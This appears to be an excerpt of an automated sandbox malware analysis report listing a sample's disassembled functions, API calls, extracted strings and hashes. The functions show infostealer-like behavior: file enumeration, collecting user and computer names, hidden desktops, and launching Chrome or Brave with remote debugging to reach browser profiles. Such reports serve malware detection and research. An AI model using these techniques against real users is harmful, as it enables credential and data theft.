Opcode Fuzzy Hash: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction Fuzzy Hash: 74F0E2B1A42208BBE7149AA4AC59FAFB799E705B04F300459F540E3290D571AF00DAA4

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction ID: bcf4cddec8ba3652d3daa4bfa83a7295d39fc22ea0064294e7a9f420d8d9705c
Opcode Fuzzy Hash: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction Fuzzy Hash: E1E0ECB5D5820152DB1473B6AC06B5B339D5B1934EF04142FF90896252FE29F8404169

Function 02330465 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 023304B6

Memory Dump Source

Source File: 00000007.00000002.1570852602.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2330000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: dad918a2dbfcd82fdccd7e4cee75a81296783a70d314b035a2fef3d005b5fc46
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 68113C79A40208EFDB01DF98C985E98BBF5AF08750F058094F9489B361D371EA50DF80

Non-executed Functions

Function 0040BE40 Relevance: 70.7, APIs: 29, Strings: 11, Instructions: 727fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2F,00000000,?,?,?,00421450,00420B2E), ref: 0040BEC5
StrCmpCA.SHLWAPI(?,00421454), ref: 0040BF33
StrCmpCA.SHLWAPI(?,00421458), ref: 0040BF49
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C8A9
FindClose.KERNEL32(000000FF), ref: 0040C8BB

Strings

Preferences, xrefs: 0040C104
`Q~, xrefs: 0040C147, 0040C5B5
P2Mw, xrefs: 0040C8A9
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C3B2
Brave, xrefs: 0040C0E8
Google Chrome, xrefs: 0040C6F8
\Brave\Preferences, xrefs: 0040C1C1
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C495
1Mw, xrefs: 0040BEC5
hU~, xrefs: 0040C2C5
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C534

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$P2Mw$Preferences$\Brave\Preferences$`Q~$hU~$1Mw
API String ID: 3334442632-997299523
Opcode ID: f48878487f44a416804eb768f37c83d074025188a3de2712eedcc72665e36518
Instruction ID: 94c18d54b217f3a33de79012ae3cbc39d408ee074d55138b38aa149d1ce8c153
Opcode Fuzzy Hash: f48878487f44a416804eb768f37c83d074025188a3de2712eedcc72665e36518
Instruction Fuzzy Hash: 5C52A871A011049BCB14FB61DC96EEE733DAF54304F4045AEF50A66091EF386B98CFAA

Function 0249C0A7 Relevance: 55.0, APIs: 29, Strings: 2, Instructions: 727fileCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2F,00000000,?,?,?,00421450,00420B2E), ref: 0249C12C
StrCmpCA.SHLWAPI(?,00421454), ref: 0249C19A
StrCmpCA.SHLWAPI(?,00421458), ref: 0249C1B0
FindNextFileA.KERNEL32(000000FF,?), ref: 0249CB10
FindClose.KERNEL32(000000FF), ref: 0249CB22

Strings

hU~, xrefs: 0249C52C, 0249C532
`Q~, xrefs: 0249C3AE, 0249C3B4, 0249C81C, 0249C822

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: `Q~$hU~
API String ID: 3334442632-2383364540
Opcode ID: 7b98e80a942e0a63a7546d3dbe04fcd52efaade0bac1e590d268923d2021d0db
Instruction ID: c024af53ebf1185d31d03dac48b725911eb35f1b41d8b84d2957280cdb9199ce
Opcode Fuzzy Hash: 7b98e80a942e0a63a7546d3dbe04fcd52efaade0bac1e590d268923d2021d0db
Instruction Fuzzy Hash: B85212B29001189BCF18FB71DDA5EEE773AAF64305F4045AEE54AA6090EF349B48CF51

Function 00413B00 Relevance: 52.8, APIs: 21, Strings: 9, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413B1C
FindFirstFileA.KERNEL32(?,?), ref: 00413B33
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413B85
StrCmpCA.SHLWAPI(?,00420F58), ref: 00413B97
StrCmpCA.SHLWAPI(?,00420F5C), ref: 00413BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00413EB7
FindClose.KERNEL32(000000FF), ref: 00413ECC

Strings

`Q~, xrefs: 00413CF7
%s\%s, xrefs: 00413CBF
P2Mw, xrefs: 00413EB7
%s%s, xrefs: 00413CFD
%s\%s\%s, xrefs: 00413C9A
q?A, xrefs: 00413ED2, 00413E95, 00413DB9, 00413B59, 00413DBC, 00413E98
%s\%s, xrefs: 00413BCA
1Mw, xrefs: 00413B33
%s\*, xrefs: 00413B10

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$P2Mw$`Q~$q?A$1Mw
API String ID: 1125553467-2026905790
Opcode ID: 5188e768485120e5afde4a9c889630e7fccae7ad22d18829d963d7ba80f2afd1
Instruction ID: 118bc6de907018410b19fab89ebe74f6f374c1ff32bc5bb8bfd4c4c53b142975
Opcode Fuzzy Hash: 5188e768485120e5afde4a9c889630e7fccae7ad22d18829d963d7ba80f2afd1
Instruction Fuzzy Hash: E9A141B1A042189BDB24DF64DC85FEA7379BB48301F44458EF60D96181EB74AB88CF66

Function 00414B60 Relevance: 42.2, APIs: 18, Strings: 6, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00414B7C
FindFirstFileA.KERNEL32(?,?), ref: 00414B93
StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

-SA, xrefs: 00414DE8, 00414DAB, 00414D54, 00414BA8, 00414D57, 00414DAE
P2Mw, xrefs: 00414DCD
%s\%s, xrefs: 00414BF4
%s\*, xrefs: 00414B70
%s\%s, xrefs: 00414C4B
1Mw, xrefs: 00414B93

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$-SA$P2Mw$1Mw
API String ID: 180737720-4187689516
Opcode ID: 10fc233258d7d774f39183cfdf7fbc98fbe50a34da23b857008ae2781d984a66
Instruction ID: 6eceda3e2f2aeeb228f448c6629b31eb3c314648a2220d8d34325ba683034fba
Opcode Fuzzy Hash: 10fc233258d7d774f39183cfdf7fbc98fbe50a34da23b857008ae2781d984a66
Instruction Fuzzy Hash: F2617771904218ABCB20EBA0ED45FEA737DBF48701F40458EF60996191FB74AB84CF95

Function 024A3D67 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 024A3D83
FindFirstFileA.KERNEL32(?,?), ref: 024A3D9A
lstrcat.KERNEL32(?,?), ref: 024A3DEC
StrCmpCA.SHLWAPI(?,00420F58), ref: 024A3DFE
StrCmpCA.SHLWAPI(?,00420F5C), ref: 024A3E14
FindNextFileA.KERNEL32(000000FF,?), ref: 024A411E
FindClose.KERNEL32(000000FF), ref: 024A4133

Strings

`Q~, xrefs: 024A3F5E, 024A3F63

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: `Q~
API String ID: 1125553467-2743804444
Opcode ID: 3ab95b3bf23d215e0781e232aecc607664a3e5c33156cac28c621625d69ea7f5
Instruction ID: 5fb34db656020ece535f976345d7842849c747b9e1e03b607b9ddcc510082c8f
Opcode Fuzzy Hash: 3ab95b3bf23d215e0781e232aecc607664a3e5c33156cac28c621625d69ea7f5
Instruction Fuzzy Hash: 66A16FB1A40218ABDB24DFA4DC94FEE7779BF58300F44458EE60D96180EB759B84CF62

Function 004147C0 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004147D0
HeapAlloc.KERNEL32(00000000), ref: 004147D7
wsprintfA.USER32 ref: 004147F6
FindFirstFileA.KERNEL32(?,?), ref: 0041480D
StrCmpCA.SHLWAPI(?,00420FAC), ref: 0041483B
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414851
FindNextFileA.KERNEL32(000000FF,?), ref: 004148DB
FindClose.KERNEL32(000000FF), ref: 004148F0
lstrcatA.KERNEL32(?,007DD700,?,00000104), ref: 00414915
lstrcatA.KERNEL32(?,007E6058), ref: 00414928
lstrlenA.KERNEL32(?), ref: 00414935
lstrlenA.KERNEL32(?), ref: 00414946

Strings

P2Mw, xrefs: 004148DB
%s\%s, xrefs: 0041486B
%s\*, xrefs: 004147EA
1Mw, xrefs: 0041480D
X`~, xrefs: 0041491B

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$P2Mw$X`~$1Mw
API String ID: 13328894-49637346
Opcode ID: 69dcb7b57205299e4e353f4ff5e3bd6fee26fba3a9fd294cee8ca8b6e7cecfcb
Instruction ID: 4add3c5e25650dce6a2d7e09fe25a02d5f48076a238705849ce39c3d90be09a7
Opcode Fuzzy Hash: 69dcb7b57205299e4e353f4ff5e3bd6fee26fba3a9fd294cee8ca8b6e7cecfcb
Instruction Fuzzy Hash: 145187B1944218ABCB20EB70DC89FEE737DAB58300F40459EB64996190EB74EBC4CF95

Function 024A4A27 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 024A4A37
RtlAllocateHeap.NTDLL(00000000), ref: 024A4A3E
wsprintfA.USER32 ref: 024A4A5D
FindFirstFileA.KERNEL32(?,?), ref: 024A4A74
StrCmpCA.SHLWAPI(?,00420FAC), ref: 024A4AA2
StrCmpCA.SHLWAPI(?,00420FB0), ref: 024A4AB8
FindNextFileA.KERNEL32(000000FF,?), ref: 024A4B42
FindClose.KERNEL32(000000FF), ref: 024A4B57
lstrcat.KERNEL32(?,006D6F24), ref: 024A4B7C
lstrcat.KERNEL32(?,X`~), ref: 024A4B8F
lstrlen.KERNEL32(?), ref: 024A4B9C
lstrlen.KERNEL32(?), ref: 024A4BAD

Strings

X`~, xrefs: 024A4B82, 024A4B87

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: X`~
API String ID: 671575355-1336840582
Opcode ID: 40b38b74226c8604f7a13fd3e1b0225e2dd82a7444d87f96db159f9eec02a11e
Instruction ID: 1746ed0c1437d6de0e68db52a9037bd2c95e9da85c6317ab9b5f348e4394f3ee
Opcode Fuzzy Hash: 40b38b74226c8604f7a13fd3e1b0225e2dd82a7444d87f96db159f9eec02a11e
Instruction Fuzzy Hash: 37515471944218ABCB24EBB0DC98FEE777DAF68300F4046CAE64D96190EB759B84CF51

Function 024A4DC7 Relevance: 27.2, APIs: 18, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 024A4DE3
FindFirstFileA.KERNEL32(?,?), ref: 024A4DFA
StrCmpCA.SHLWAPI(?,00420FC4), ref: 024A4E28
StrCmpCA.SHLWAPI(?,00420FC8), ref: 024A4E3E
FindNextFileA.KERNEL32(000000FF,?), ref: 024A5034
FindClose.KERNEL32(000000FF), ref: 024A5049

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: fcb2fc1512f1b2bfff4d459872b36b8889449b0cd5417e01b30465ecde3626f1
Instruction ID: 7e20cb23df773fb3948fd0a8f93ccb69af7f71909161a6dd1b2b8975f9092ed9
Opcode Fuzzy Hash: fcb2fc1512f1b2bfff4d459872b36b8889449b0cd5417e01b30465ecde3626f1
Instruction Fuzzy Hash: 9B615571900219ABCB24EBA0DD55FEF737DAF58701F40468EB60D96180EB759784CF91

Function 00409E30 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 157stringsleepprocessCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00409E47

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,007DA120,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

wsprintfA.USER32 ref: 00409E7F
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00409EA3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00409ECC
memset.MSVCRT ref: 00409EED
lstrcatA.KERNEL32(00000000,?), ref: 00409F03
lstrcatA.KERNEL32(00000000,?), ref: 00409F17
lstrcatA.KERNEL32(00000000,004212D8), ref: 00409F29
memset.MSVCRT ref: 00409F3D
lstrcpy.KERNEL32(?,00000000), ref: 00409F7C
memset.MSVCRT ref: 00409F9C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 0040A004
Sleep.KERNEL32(00001388), ref: 0040A013
CloseDesktop.USER32(00000000), ref: 0040A060

Strings

D, xrefs: 00409FA4

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: memset$Desktoplstrcat$Create$CloseOpenProcessSleepSystemTimelstrcpywsprintf
String ID: D
API String ID: 1347862506-2746444292
Opcode ID: a10202c694136cf4b08f8315fe38596f638a8bb39b3ba1580b4dfb3a89c0cba5
Instruction ID: 9351db1e319cd03a78e50f41365f33c4a7b54471eb3ec1f6bde0cae738676000
Opcode Fuzzy Hash: a10202c694136cf4b08f8315fe38596f638a8bb39b3ba1580b4dfb3a89c0cba5
Instruction Fuzzy Hash: B551B3B1D04318ABDB20DF60DC4AFDA7778AB48704F004599F60DAA2D1EB75AB84CF55

Function 004140F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00414113
FindFirstFileA.KERNEL32(?,?), ref: 0041412A
StrCmpCA.SHLWAPI(?,00420F94), ref: 00414158
StrCmpCA.SHLWAPI(?,00420F98), ref: 0041416E
FindNextFileA.KERNEL32(000000FF,?), ref: 004142BC
FindClose.KERNEL32(000000FF), ref: 004142D1

Strings

P2Mw, xrefs: 004142BC
%s\%s, xrefs: 00414107
1Mw, xrefs: 0041412A

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$P2Mw$1Mw
API String ID: 180737720-3916339036
Opcode ID: 9d44ee2d1d3302ed3f560bb1c24b0dbad1817cb41e0c40033f90fa3194e93cf6
Instruction ID: fabef74ebea8da44b501a85f582971371f90885c40acf49b74ac124388ccf1e1
Opcode Fuzzy Hash: 9d44ee2d1d3302ed3f560bb1c24b0dbad1817cb41e0c40033f90fa3194e93cf6
Instruction Fuzzy Hash: 745179B1904118ABCB24EBB0DD45EEA737DBB58304F4045DEB60996090EB74ABC5CF59

Function 0040DF10 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C32), ref: 0040DF5E
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040DFAE
StrCmpCA.SHLWAPI(?,004215C4), ref: 0040DFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E4E0
FindClose.KERNEL32(000000FF), ref: 0040E4F2

Strings

`Q~, xrefs: 0040E37A
P2Mw, xrefs: 0040E4E0
\*.*, xrefs: 0040DF26
X^~, xrefs: 0040E27C
4@, xrefs: 0040DF32, 0040E500, 0040DFF3, 0040DF75, 0040DFF6
1Mw, xrefs: 0040DF5E

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$P2Mw$X^~$\*.*$`Q~$1Mw
API String ID: 2325840235-1288709134
Opcode ID: 35bd8db933b17fa04d38a7c7cd1b10231c2663d0d816eb863fb8805aebd561c5
Instruction ID: 5b1d21d8256b1a4f75019a03d5e94b0e3f490a8b44af3c5bb40891ece502d815
Opcode Fuzzy Hash: 35bd8db933b17fa04d38a7c7cd1b10231c2663d0d816eb863fb8805aebd561c5
Instruction Fuzzy Hash: F6F14D71A151189ACB25EB61DCA5EEE7339AF14314F4005EFB10A62091EF387BD8CF5A

Function 0040EE20 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040EE3E
FindFirstFileA.KERNEL32(?,?), ref: 0040EE55
StrCmpCA.SHLWAPI(?,00421630), ref: 0040EEAB
StrCmpCA.SHLWAPI(?,00421634), ref: 0040EEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F3AE
FindClose.KERNEL32(000000FF), ref: 0040F3C3

Strings

`Q~, xrefs: 0040F1E8
P2Mw, xrefs: 0040F3AE
%s\*.*, xrefs: 0040EE32
1Mw, xrefs: 0040EE55

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
